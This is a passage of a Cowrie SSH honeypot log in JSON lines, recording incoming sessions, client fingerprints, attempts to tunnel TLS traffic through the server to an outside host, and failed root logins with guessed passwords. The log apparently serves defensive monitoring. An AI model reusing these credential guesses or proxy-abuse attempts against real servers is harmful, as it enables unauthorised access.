no-cache\\r\\n\\r\\n_=bjk1YU9SJHRwST9SWWVCIQ%3D%3DcH6SaRSsoP8%2FiQzafF8i4HSQX3xNwJh6pIOLrN56PZPWl9k%2BUNRzsYdKxpMQnIS2cy%2BlMkAL5wiNFjvQTaM%2BIKHA2JTaLHdTl%2FJ9zLN5VUhK4jRkjLZsAvAzlRNVG4qk9mS6yk1DMwDAhqKt8%2BIa8HJbukwSNPUnJk%2FhYHoSud5SjTZpkvQ1ogGxh6cV7uFNbvGgykHR5Jp8jwE8xy8HvS2o7V38nNnFh8Cnnzbf8Hdafbdui%2FMyWhZrrUyHRUaVKvHOo8mKXvIY21kGTjUq2LiZXpV87QQ%2Ffqhi%2F219JqZcy2QztaRnMRGwjLXGOz9%2B30Y0zfOdlAZ7G1QDWElYhB8DlDP%2BbnQv5y9w2PZzqHMi5fB7G71ggxbY5KKP1eJqw8YaB9V%2BKYRe7rh1aM1aKztJydFU%2BOc%2FhRXaRaaRE0sJz2T%2FV1%2FX%2Beskx068axTqW5XWIS9%2Bm8IO%2B1FnSADxqqBg0AwGkwDykfqQ%2BZqsDoUBY8DPlDUYupL5y0xMvjgpkM2OUlZ%2BiEQLdqEaXyK0SJ5bCnyfLl1%2BXIjIaQOl3cfb1tcezEzD5ixLlFGcflRuE%2FOCptaNtw9M2Pk9Zh267oJcUBFycjGo%2Bt8qBmBDa6qAlIJIzSHIRM5dgwbFAoatY7AnS8SziZjSOCc2FJgIdUO%2BZ909Jid3ptpctN2SWbutfa4xpTnbqudN6SKLf4%2BYsyY9X3vSAodnCSxKOcEa6dy8mhCbfLyNzeCSXDch8ZA0sHS%2BjCIyRT%2BDUPEQg5w9F6DvnJEyY2rQookWH%2BmFVlxoCddIYjtkyzr0JwF3XmLX%2B%2BaK6strjofby81FJ5W5wD1HAQZWwj1kGiY4Ck7KQY5QiXbN0mjKAvbfwrb7b30eCfYK0GyWcdjCuD9NZ0XgcmhxBRFNKxEcIpSf1ZxwhPI8v6JUdNg5WoeovG3mrWj4Sm%2BubWEdOd7ihgcdvQ2UIHnIpY3vRzhyBcn1hdT4gpINQj8j6wlkqk85q%2Bh645dhPjrY6Cfz77XbXhc9GrnBBiXv3rAzv0nr2WE4HethZniCBRSe0t29Opa5ygv5EaTqF5M62XYPE%2Ft0c%2FpfjQKo'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:02.093191Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:02.319125Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac/Y\\xab\\x02\\xda\\xa4\\xba\\x8aIf\\xce\\x05>rl_K\\xe1\\x8f|\\x03kU\\x14\\x87\\xb0\\x0b\\xad!\\xcb\\xdb `\\x14\\x0c\\xf0}\\x13\\x9d\\xe9\\xe49\\xad\\xfc\\xc4{\\x8e\\xba\\xed\\x17\\xe1#\\xee\\x1d\\x0egy\\xf9\\xaf|\\x8a\\x00\\xdd\\x0c\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x92\\x93$=a\\x95s\\xa4\\x8a\\x85\\xb8\\xb4\\xf3%\\x15e-\\x13u\\x07wq\\x9f5}\\xc7c \\x12m\\xb3\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac/Y\\xab\\x02\\xda\\xa4\\xba\\x8aIf\\xce\\x05>rl_K\\xe1\\x8f|\\x03kU\\x14\\x87\\xb0\\x0b\\xad!\\xcb\\xdb `\\x14\\x0c\\xf0}\\x13\\x9d\\xe9\\xe49\\xad\\xfc\\xc4{\\x8e\\xba\\xed\\x17\\xe1#\\xee\\x1d\\x0egy\\xf9\\xaf|\\x8a\\x00\\xdd\\x0c\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x92\\x93$=a\\x95s\\xa4\\x8a\\x85\\xb8\\xb4\\xf3%\\x15e-\\x13u\\x07wq\\x9f5}\\xc7c \\x12m\\xb3\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:02.332652Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:02.779104Z","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:03.015981Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfbh\\x966\\xfah|\\x0b\\xd3X\\xc8\\xf7\\xfa\\x84\\xd1\\x83\\x13;y\\xa1\\x14\\xa8Qz\\xdb\\x82Na2\\xea\\xe3+ \\x9e[1/%}\\xca\\rz\\x9e\\xb6\\xb8\\xdd\\xed\\x84\\x16(\\x8b\\x87]W=\\x00Y\\x80\\x99V\\x15i?\\xfbF\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 b$\\xbc\\xbb\\x9b>{\\xd6u\\x13\\x1d\\xcc\\x8ct\\xca\\xb7\\xcb$\\x0eF\\xd8\\xe2E\\xd9\\x84\\xc5\\x13\\xbebLiq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfbh\\x966\\xfah|\\x0b\\xd3X\\xc8\\xf7\\xfa\\x84\\xd1\\x83\\x13;y\\xa1\\x14\\xa8Qz\\xdb\\x82Na2\\xea\\xe3+ \\x9e[1/%}\\xca\\rz\\x9e\\xb6\\xb8\\xdd\\xed\\x84\\x16(\\x8b\\x87]W=\\x00Y\\x80\\x99V\\x15i?\\xfbF\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 b$\\xbc\\xbb\\x9b>{\\xd6u\\x13\\x1d\\xcc\\x8ct\\xca\\xb7\\xcb$\\x0eF\\xd8\\xe2E\\xd9\\x84\\xc5\\x13\\xbebLiq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:03.019018Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:03.396814Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45142,"dst_ip":"159.203.135.109","dst_port":22,"session":"e639e372e0da","protocol":"ssh","message":"New connection: 27.71.230.31:45142 (159.203.135.109:22) [session: e639e372e0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:05.539055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:05.574030Z","src_ip":"27.71.230.31","session":"e639e372e0da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:07.050547Z","src_ip":"27.71.230.31","session":"e639e372e0da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":34378,"dst_ip":"10.17.0.5","dst_port":22,"session":"7167985ebfaf","protocol":"ssh","message":"New connection: 103.122.221.179:34378 (10.17.0.5:22) [session: 7167985ebfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:08.502075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:08.506595Z","src_ip":"103.122.221.179","session":"7167985ebfaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:08.765894Z","src_ip":"103.122.221.179","session":"7167985ebfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999999123","message":"login attempt [root/999999123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:09.542470Z","src_ip":"103.122.221.179","session":"7167985ebfaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:10.802619Z","src_ip":"103.122.221.179","session":"7167985ebfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator@2016","message":"login attempt [root/administrator@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:11.584420Z","src_ip":"27.71.230.31","session":"e639e372e0da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:13.629993Z","src_ip":"27.71.230.31","session":"e639e372e0da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49531,"dst_ip":"10.17.0.5","dst_port":22,"session":"27f96480ba43","protocol":"ssh","message":"New connection: 123.27.168.40:49531 (10.17.0.5:22) [session: 27f96480ba43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:35.946960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:35.951383Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:36.209374Z","src_ip":"123.27.168.40","session":"27f96480ba43","protocol":"ssh"}
